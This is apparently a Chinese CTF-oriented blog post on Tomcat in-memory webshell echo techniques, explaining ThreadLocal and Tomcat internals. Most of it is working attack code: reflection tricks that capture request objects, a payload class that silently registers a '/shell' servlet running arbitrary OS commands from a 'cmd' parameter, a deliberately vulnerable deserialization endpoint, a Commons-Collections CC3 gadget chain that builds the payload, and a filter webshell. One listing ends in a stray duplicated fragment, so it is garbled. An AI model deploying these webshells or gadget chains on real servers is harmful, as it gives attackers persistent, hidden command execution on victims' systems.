March 2, 2023

Tomcat内存马回显技术

ThreadLocal Response回显

回顾JSP马

之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:

什么是ThreadLocal

在讲基于ThreadLocal方法回显之前,我们首先需要知道ThreadLocal是拿来干什么的

ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力,perfect。

也就是说ThreadLocal是来保证线程安全的,干说可能也不好理解,这里拿几个例子来说明:
一个用来给数字加十的工具类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.springshell.utils;

import java.util.concurrent.TimeUnit;

public class NumUtil {

public static int addNum = 0;

public static int add10(int num) {
addNum = num;
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
return addNum + 10;
}
}

一个使用案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.springshell.controller;

import com.example.springshell.utils.NumUtil;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class threadlocaldemo {
public static void main(String[] args) {

ExecutorService service = Executors.newFixedThreadPool(20);

for (int i = 0; i < 20; i++) {
int num = i;
service.execute(()->{
System.out.println(num + " " + NumUtil.add10(num));
});
}
service.shutdown();
}
}

清一色的看到结果都是29,这是为什么捏?
image.png
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2 29这样的数字,其他结果也是同样的道理

解决方法有很多,其中一种就是运用ThreadLocal创建独立的线程变量域:
将之前的工具类改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class NumUtil {

private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();

public static int add10(int num) {
addNumThreadLocal.set(num);
try {
TimeUnit.SECONDS.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
return addNumThreadLocal.get() + 10;
}
}

在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
image.png
这样做一层隔离,输出结果也就正常了:
image.png

ApplicationFilterChain#internalDoFilter

起一个SpringBoot程序(3.0.2),这里我起的SpringBoot版本较高,和其他博主的文章有一些小地方偏差,不过影响其实不大,我们分析SpringBoot接受请求时的调用栈:
image.png
可以看到是不断的调用了InternalDoFilter方法(这里其实就是Agent内存马的利用点,InternalDoFilter链),我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequestlastServicedResponse,分别都是ThreadLocal类型:
image.png
紧接着在internalDoFilter方法中对这两属性进行了赋值,但是有个前提就是要满足if的条件:
image.png
可以看到这里的request和response就是我们目标对象
image.png
至于dispatcherWrapsSameObject属性,默认是为false的,因此我们需要反射修改属性,这一点很容易做到,那么至此思路就是这样,第一次访问URL的时候,反射修改属性,第二次访问URL的时候就进入if了,然后获取request和response

SpringBoot版本问题

在这里说明一下一个问题,就是SpringBoot版本问题和Java版本问题,SpringBoot3和SpringBoot2在internalDoFilter中if判断条件不同:
SpringBoot2
image.png
SpringBoot3
image.png

反射修改static final属性

在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT的类型是一个private static final类型的属性,这种属性由于一些原因无法被反射直接修改,具体参考

我们可以通过反射去除final修饰符的方式达到修改的目的
image.png
modifiers实际就是一个int类型的26,并且每个修饰符都有一个int的值,比如private是2,static是8,final是16那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,而图中取反然后按位与操作就是这一步骤

JDK版本问题

在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers,因此目前我只发现了低版本的这种回显方式,所以在这里我将SpringBoot降到了2.6版本,JDK降到了11

初步构造回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example.echoshell.controller;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@Controller
public class echoshell {
@RequestMapping("/normal")
@ResponseBody
public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
//反射获取3个属性
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
//去除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
//设置private可访问可修改
modifiersField.setAccessible(true);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
//反射修改lastServiceresponse和lastservicerequest属性的值
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
//修改WRAP_SAME_OBJECT_FIELD值为true,进入request判断
boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
//第一次进入时为false和null
if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) {
System.out.println("in");
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
//第二次进入时就进入了if赋值为了request和response,因此进入else
else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ServletRequest servletRequest = lastServicedRequest.get();

ServletContext servletContext = servletRequest.getServletContext();
System.out.println(servletContext);
System.out.println(servletRequest);

}
return "nothing";
}
}

在这个初步Payload中有几个细节其实,就是几个if的判断,可以让我们第一次访问时不报错,因为我们需要访问两次,第一次赋值属性WRAP_SAME_OBJECT_FIELD为true,第二次进入if赋值另外2个属性lastServicedResponse、lastServicedRequest为request和response:
image.png
成功获得request和response以及context对象

反序列化打入Servlet内存马

首先构造恶意Servlet内存马,我这里是使用CC3进行打入,记得控制cc的版本和JDK的版本,我这儿是CC3.2.1和JDK1.8,仅供大家参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
package com.example.echoshell.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class shellcode extends AbstractTranslet implements Servlet{

static {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符,设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get();

ServletContext servletContext = servletRequest.getServletContext();


if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;

// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);

if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}

//自定义servlet
Servlet servlet = new shellcode();

//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);

//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);

}
}
} catch (Exception e) {
e.printStackTrace();
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}
o = (StandardContext) object;
}
}

//自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
};

//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);

//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);

}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

然后我们自定义一个反序列化入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.echoshell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;


@Controller
public class ShellPoint {

@RequestMapping("/unserial")
public void shell(HttpServletRequest req) throws IOException {
System.out.println("in");
byte[] data = Base64.getDecoder().decode(req.getParameter("data"));
ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
System.out.println(objectInputStream.readObject());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

}

最后通过CC3打进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example.echoshell.controller;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\echoshell\\target\\classes\\com\\example\\echoshell\\controller\\shellcode.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
String res=encryptToBase64("ser.bin");
System.out.println(res);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
}

return null;
}
}

我们访问unserial路由2次即可成功注册,这两次访问虽然会报错但是可以成功打入:
第一次报错
image.png
第二次报错
image.png
image.png

局限性

上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter方法,假如序列化触发点在这之前的话就无法注入(比如shiro,暂未研究,只是略看),并且还有JDK和SpringBoot的版本限制

基于Tomcat全局存储进行回显

前一种方法有局限性,而现在要讲的方法是可以通杀的,回归到最初的地方去寻找

流程分析

起一个SpringBoot服务,在Controller的mapping上下一个断电,分析一下调用栈,首先定位到Http11Processor中,调用了getAdapter().service(request, response),其中的request和response均来自父类AbstractProcessor中:
image.png
继续分析调用栈,接着在AbstractProtocol的内部类ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:
image.png
我们再这一步进行跟进,在register方法中有一个Requestinfo类型的对象rp,他在里面也封装着一个request对象,之后将requestinfo对象存入global属性中:
image.png
这个request对象是和之前Http11processor中的request对象相同的(调试不发生在一次,因此@后面的数值可能不同)
image.png
image.png
既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocolglobal属性当中,那现在需要做的就是如何找到储存了AbstractProtocol类的地方,只要找到了我们就可以通过反射获取(Handler是ConnectionHandler的父类):
image.png
image.png
思路图如下:

所以现在就是需要获取AbstractProtocol,我们继续观察调用栈,可以发现在CoyoteAdapter类中的connector属性中存放了protocolHandler对象:
image.png
protocolHandlerAbstractProtocol的继承关系图如下:

并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol对象,而这刚好就是AbstractProtocol的子类,我们可以通过向上转型从而获取AbstractProtocol,然后去获取global属性,进而获取requestinfo最后获取request对象
这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:
image.png
之后Litch1师傅的思路就是通过WebappClassLoaderBase这个线程上下文类加载器于StrandardService来产生联系:
image.png
这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
WebappClassLoaderBase --> 
resources(StandardRoot) -->
context(StandardContext) -->
context(ApplicationContext) -->
service(StandardService) -->
connectors(Connector[]) -->
protocolHandler(ProtocolHandler) -->
(转型)protocolHandler(AbstractProtocol) -->
(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
global(RequestGroupInfo) -->
processors(ArrayList) -->
requestInfo(RequestInfo) -->
req(org.apache.coyote.Request) --getNote-->
request(org.apache.connector.Request) -->
response(org.apache.connector.Response)

有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者:
image.png

内存马回显构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
String cmd = null;
try {
WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = loader.getResources().getContext();
// 获取 ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
// 获取 StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);

// 获取 Connector 并筛选 HTTP Connector
Connector[] connectors = standardService.findConnectors();
for (Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
// 获取 AbstractProtocol 对象
AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

// 获取 AbstractProtocol$ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

// global(RequestGroupInfo)
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

// processors (ArrayList)
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);

for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
// 依据 QueryString 获取对应的 RequestInfo
if (requestInfo.getCurrentQueryString().contains("cmd")) {
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// org.apache.coyote.Request
Request requestTemp = (Request) reqField.get(requestInfo);
// org.apache.catalina.connector.Request
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

// 执行命令
cmd = request.getParameter("cmd");
String[] cmds = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("//A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = request.getResponse().getWriter();
writer.write(output);
writer.flush();
writer.close();

break;
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}

chain.doFilter(request1, response1);
}
}

在主类记得加上扫描注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.echoshell;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class EchoshellApplication {

public static void main(String[] args) {
SpringApplication.run(EchoshellApplication.class, args);
}

}

image.png

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,经过测试发现springboot在2.6以后移除了getresources方法
image.png
因此还是得看情况使用咯

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#内存马